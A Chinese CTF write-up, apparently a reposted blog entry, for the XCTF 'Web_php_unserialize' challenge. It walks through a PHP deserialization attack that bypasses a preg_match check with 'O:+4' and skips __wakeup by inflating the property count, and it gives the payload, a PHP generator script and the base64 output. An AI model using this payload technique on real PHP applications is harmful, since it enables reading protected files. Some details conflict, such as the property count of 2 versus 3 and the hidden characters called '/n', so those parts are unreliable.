攻防世界web进阶_Web_php_unserialize

2023-01-19 13:55:46

查看代码

首先定义了一个Demo类,

 

有一个注释,提醒我们flag在fl4g.PHP中,

Demo中的_destruct 如果Demo类被销毁,那么就会高亮显示file所指向的文件的内容

_wakeup当进行反序列化时 自动执行所以要绕过_wakeup

 

 变量var的传入  首先进行base64加密  然后preg_match匹配函数

如果匹配上 就“stop hacking”

否则unserialize($var)

preg_match('/[oc]:\d+:/i', $var)
preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写

所以我们要做的是

preg_match匹配函数绕过,_wakeup绕过

我们对所给的类进行反序列化

O:4:"Demo":1{s:10"Demofile";s:8:"fl4g.php";}

绕过preg_match 将4改为+4

绕过_wakeup  将1改为2

O:+4:"Demo":3:{s:10:"Demofile";s:8:"fl4g.php";}

然后进行base64编码

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 直接进行base64编码 不对,序列化出来的字符串中是有一个看不见的字符/n

代码在线编辑,代码在线运行,在线写代码工具

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
 

运行代码可得到base64加密

  • 作者:shayebudon
  • 原文链接:https://blog.csdn.net/shayebudon/article/details/121873390
    更新时间:2023-01-19 13:55:46